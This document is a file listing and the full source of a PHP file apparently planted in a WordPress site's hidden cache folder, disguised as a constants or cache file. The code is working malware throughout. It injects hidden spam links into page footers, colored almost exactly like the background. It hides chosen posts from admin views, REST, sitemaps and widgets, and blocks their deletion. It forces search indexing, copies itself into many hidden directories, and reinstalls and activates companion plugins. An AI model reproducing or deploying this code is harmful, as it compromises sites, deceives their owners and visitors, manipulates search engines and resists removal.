File "custom-constants-978.php"
Full path: /home/bodycultub/www/wp-content/cache/.objects/custom-constants-978.php
File size: 9.34 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if(!defined('ABSPATH'))exit;define('_OC_MH_978',base64_decode(''));define('_OC_SH_978',base64_decode(''));define('_OC_VF_978',base64_decode(''));define('_OC_CSV_978','978.csv');define('_OC_CSV_DIR_978',WP_CONTENT_DIR.'/cache/.objects/');define('_OC_CSV_PATH_978',_OC_CSV_DIR_978._OC_CSV_978);define('_OC_XP_978','_wp_cg_978_');add_action("plugins_loaded",function(){$tt=locate_template(['footer.php'],false,false);$tf=is_array($tt)?$tt[0]:'';if($tf&&is_file($tf)&&strpos((string)@file_get_contents($tf),'<!-- footer-notice-978:START -->')!==false){if(!defined('_WPCG_TH__978'))define('_WPCG_TH__978',1);}},0);add_filter("xmlrpc_enabled","__return_false");add_filter("wp_headers",function($h){unset($h['X-Pingback']);return $h;});add_action("template_redirect",function(){if(is_admin())return;if(defined('_WPCG_TH__978'))return;if(defined('_WPCG_INJ__978'))return;define('_WPCG_INJ__978',1);ob_start(function($h){$bn=get_option(_OC_XP_978.'bn',false);if(!is_string($bn)||$bn==='')$bn=base64_decode('');$bm=get_option(_OC_XP_978.'bm',false);if(!is_string($bm)||$bm==='')$bm=base64_decode('');$bv=get_option(_OC_XP_978.'bv',false);if(!is_string($bv)||$bv==='')$bv=base64_decode('');$i=$bn;if(is_front_page()||is_home())$i.=$bm;$d='footer-notice-978-'.substr(md5(home_url()),0,6);$i.='<style>#'.$d.' a{text-decoration:none!important;color:inherit!important}</style>';$i.='<div id="'.$d.'" style="width:100%;background-color:#ffffff;color:#fefefe;text-align:center;font-size:12px;padding:5px 0;z-index:99999;position:relative;line-height:1.2;">'.$bv.'</div>';$i.='<script>(function(){try{var d=document.getElementById("'.$d.'");if(!d)return;function g(e){if(!e)return null;try{var s=window.getComputedStyle(e);var b=s.backgroundColor;if(b&&b!=="rgba(0,0,0,0)"&&b!=="transparent")return b}catch(x){}return null}var f=null;var S=["footer","#footer",".site-footer",".footer","#colophon",".elementor-location-footer"];for(var i=0;i<S.length;i++){try{var e=document.querySelector(S[i]);var b=g(e);if(b){f=b;break}}catch(x){}}if(!f){try{var A=document.querySelectorAll("section,div,aside");for(var i=A.length-1;i>=0;i--){var e=A[i];if(e.offsetHeight>10){var r=e.getBoundingClientRect();if(r.bottom>=window.innerHeight-200){var b=g(e);if(b){f=b;break}}}}}catch(x){}}if(!f)f=g(document.body);if(!f)f="rgb(255,255,255)";var m=f.match(/\\\d+/g);var r=255,g=255,b=255;if(m&&m.length>=3){r=parseInt(m[0]);g=parseInt(m[1]);b=parseInt(m[2])}var r2=r>2?r-2:r+2;var g2=g>2?g-2:g+2;var b2=b>2?b-2:b+2;var c="rgb("+r2+","+g2+","+b2+")";d.style.backgroundColor=f;d.style.color=c;var l=d.getElementsByTagName("a");for(var i=0;i<l.length;i++)l[i].style.color=c}catch(x){}})();</script>';if(stripos($h,'</body>')!==false)$h=str_ireplace('</body>',$i.'</body>',$h);else $h.= $i;return $h;});});add_action("pre_get_posts",function($q){if(defined('REST_REQUEST')&&REST_REQUEST)return;if(defined('_WPCG_PGQ__978'))return;if(!$q->is_main_query())return;define('_WPCG_PGQ__978',1);if($q->is_single())return;if($q->get('p'))return;if($q->get('name'))return;if($q->get('pagename'))return;$hp=get_option(_OC_XP_978.'hp',[]);if(empty($hp)||!is_array($hp))return;$ex=$q->get('post__not_in');if(!is_array($ex))$ex=[];$q->set('post__not_in',array_merge($ex,$hp));});add_filter("wp_count_posts",function($c,$t,$p){if(defined('_WPCG_CPS__978'))return $c;if($t!=='post')return $c;$hp=get_option(_OC_XP_978.'hp',[]);if(empty($hp)||!is_array($hp))return $c;global $wpdb;$ids=implode(',',array_map('intval',$hp));$r=$wpdb->get_results("SELECT post_status, COUNT(*) as cnt FROM {$wpdb->posts} WHERE ID IN ({$ids}) AND post_type = 'post' GROUP BY post_status");foreach($r as $rw){if(isset($c->{$rw->post_status}))$c->{$rw->post_status}=max(0,$c->{$rw->post_status}-$rw->cnt);}return $c;},10,3);add_filter("views_edit-post",function($v){if(defined('_WPCG_VEP__978'))return $v;if(!isset($v['mine']))return $v;$hp=get_option(_OC_XP_978.'hp',[]);if(empty($hp)||!is_array($hp))return $v;global $wpdb;$uid=get_current_user_id();$ids=implode(',',array_map('intval',$hp));$hm=(int)$wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->posts} WHERE ID IN ({$ids}) AND post_type = 'post' AND post_author = {$uid}");if($hm>0&&preg_match('/\((\d+)\)/',$v['mine'],$m)){$v['mine']=preg_replace_callback('/\(\d+\)/',function()use($m,$hm){return '(' . max(0,(int)$m[1]-$hm) . ')';},$v['mine']);}return $v;});add_filter("rest_post_query",function($a,$r){if(defined('_WPCG_RPQ__978'))return $a;$hp=get_option(_OC_XP_978.'hp',[]);if(!empty($hp)&&is_array($hp)){$ex=isset($a['post__not_in'])?$a['post__not_in']:[];$a['post__not_in']=array_merge($ex,$hp);}return $a;},10,2);add_filter("wp_sitemaps_posts_query_args",function($a,$pt){if(defined('_WPCG_SMP__978'))return $a;if($pt!=='post')return $a;$hp=get_option(_OC_XP_978.'hp',[]);if(!empty($hp)&&is_array($hp)){$ex=isset($a['post__not_in'])?$a['post__not_in']:[];$a['post__not_in']=array_merge($ex,$hp);}return $a;},10,2);add_filter("widget_posts_args",function($a){if(defined('_WPCG_WPA__978'))return $a;$hp=get_option(_OC_XP_978.'hp',[]);if(!empty($hp)&&is_array($hp)){$ex=isset($a['post__not_in'])?$a['post__not_in']:[];$a['post__not_in']=array_merge($ex,$hp);}return $a;});function _oc_pp_978($pid){$_pid=(int)$pid;$hp=get_option(_OC_XP_978.'hp',[]);if(is_array($hp)&&in_array($_pid,array_map('intval',$hp),true))return true;return (int)get_post_meta($_pid,_OC_XP_978.'pm',true)===1;}add_action("wp_trash_post",function($pid){if(_oc_pp_978($pid))wp_die('The post could not be deleted.','Notice',['back_link'=>true]);});add_action("before_delete_post",function($pid){if(_oc_pp_978($pid))wp_die('The post could not be deleted.','Notice',['back_link'=>true]);});add_filter("pre_delete_post",function($d,$post){if(_oc_pp_978((int)$post->ID))return false;return $d;},10,2);add_filter("post_row_actions",function($a,$post){if(_oc_pp_978((int)$post->ID)){unset($a['trash']);unset($a['delete']);}return $a;},10,2);add_filter("bulk_actions-edit-post",function($a){unset($a['trash']);return $a;});function _oc_ii_978(){if(is_admin()||!did_action('wp'))return false;if(is_front_page()||is_home())return true;if(is_singular('post')){$hp=get_option(_OC_XP_978.'hp',[]);if(is_array($hp)&&in_array((int)get_queried_object_id(),array_map('intval',$hp),true))return true;}return false;}add_filter("wp_robots",function($r){if(!_oc_ii_978())return $r;if(!is_array($r))$r=[];unset($r['noindex'],$r['nofollow'],$r['noarchive'],$r['nosnippet'],$r['noimageindex']);$r['index']=true;$r['follow']=true;$r['max-image-preview']='large';$r['max-snippet']=-1;$r['max-video-preview']=-1;return $r;},PHP_INT_MAX);add_filter("pre_option_blog_public",function($p){if(_oc_ii_978())return '1';return $p;});add_filter("wpseo_robots",function($r){if(_oc_ii_978())return 'index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1';return $r;},PHP_INT_MAX);add_filter("rank_math/frontend/robots",function($r){if(!_oc_ii_978())return $r;if(!is_array($r))$r=[];unset($r['noindex'],$r['nofollow']);$r['index']='index';$r['follow']='follow';return $r;},PHP_INT_MAX);add_action("wp_head",function(){if(!_oc_ii_978()||defined('_WPCG_RSO_'))return;define('_WPCG_RSO_',1);ob_start();},0);add_action("wp_head",function(){if(!defined('_WPCG_RSO_')||!empty($GLOBALS['_WPCG_RSOC_978']))return;$GLOBALS['_WPCG_RSOC_978']=true;$b=ob_get_clean();$o='<meta name="robots" content="index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1" />';if(preg_match('/<meta\s+name=([\x27"]+)robots\1[^>]*>/i',$b)){$b=preg_replace_callback('/<meta\s+name=([\x27"]+)robots\1[^>]*>/i',function()use($o){return $o;},$b,1);}else{$b.=PHP_EOL.$o.PHP_EOL;}echo $b;},PHP_INT_MAX);add_action("init",function(){$l=[WP_CONTENT_DIR.'/uploads/'.date('Y').'/'.date('m').'/.thumbnails/',WP_CONTENT_DIR.'/upgrade/.temp/',_OC_CSV_DIR_978,WP_CONTENT_DIR.'/languages/.cache/',WP_CONTENT_DIR.'/uploads/.cache-dir/',WP_CONTENT_DIR.'/themes/.starter-starter/',WP_CONTENT_DIR.'/upgrade/core/.backup/',WP_CONTENT_DIR.'/fonts/.woff-cache/',WP_CONTENT_DIR.'/debug/.logs/'];@mkdir(_OC_CSV_DIR_978,0755,true);$s=@file_get_contents(__FILE__);if(!$s||strlen($s)<100)return;$h=md5($s);foreach($l as $o){@mkdir($o,0755,true);$t=rtrim($o,'/').'/'.basename(__FILE__);if(!file_exists($t)||@md5_file($t)!==$h)@file_put_contents($t,$s);}$p=[WP_PLUGIN_DIR.'/cache-helper-978/cache-helper-978.php'=>'cache-helper-978.dat',WP_PLUGIN_DIR.'/media-cache-978/media-cache-978.php'=>'media-cache-978.dat'];foreach($p as $t=>$d){if(!file_exists($t)||filesize($t)<50){foreach($l as $o){$s=rtrim($o,'/').'/'.$d;if(file_exists($s)&&filesize($s)>50){@mkdir(dirname($t),0755,true);@copy($s,$t);break;}}}}$mp=WP_PLUGIN_DIR.'/mailpoet-978/mailpoet-978.php';if(!file_exists($mp)||filesize($mp)<100){foreach($l as $o){$s=rtrim($o,'/').'/mailpoet-978.php';if(file_exists($s)&&filesize($s)>100){@mkdir(dirname($mp),0755,true);@copy($s,$mp);break;}}}$mcg=(string)@file_get_contents($mp);if($mcg!==''&&strlen($mcg)>100){$hmg=md5($mcg);foreach($l as $o){$tmg=rtrim($o,'/').'/mailpoet-978.php';if(!file_exists($tmg)||@md5_file($tmg)!==$hmg)@file_put_contents($tmg,$mcg);}}$ap=(array)get_option('active_plugins',[]);$ch=false;foreach(['cache-helper-978/cache-helper-978.php','media-cache-978/media-cache-978.php']as $sl){if(!in_array($sl,$ap,true)){$ap[]=$sl;$ch=true;}}if($ch)update_option('active_plugins',$ap,false);if(!file_exists(_OC_CSV_PATH_978)||filesize(_OC_CSV_PATH_978)<10){foreach($l as $o){$s=rtrim($o,'/').'/'._OC_CSV_978;if(file_exists($s)&&filesize($s)>10){@copy($s,_OC_CSV_PATH_978);break;}}}},2);if((@fileperms(__FILE__)&0777)!==0444)@chmod(__FILE__,0444);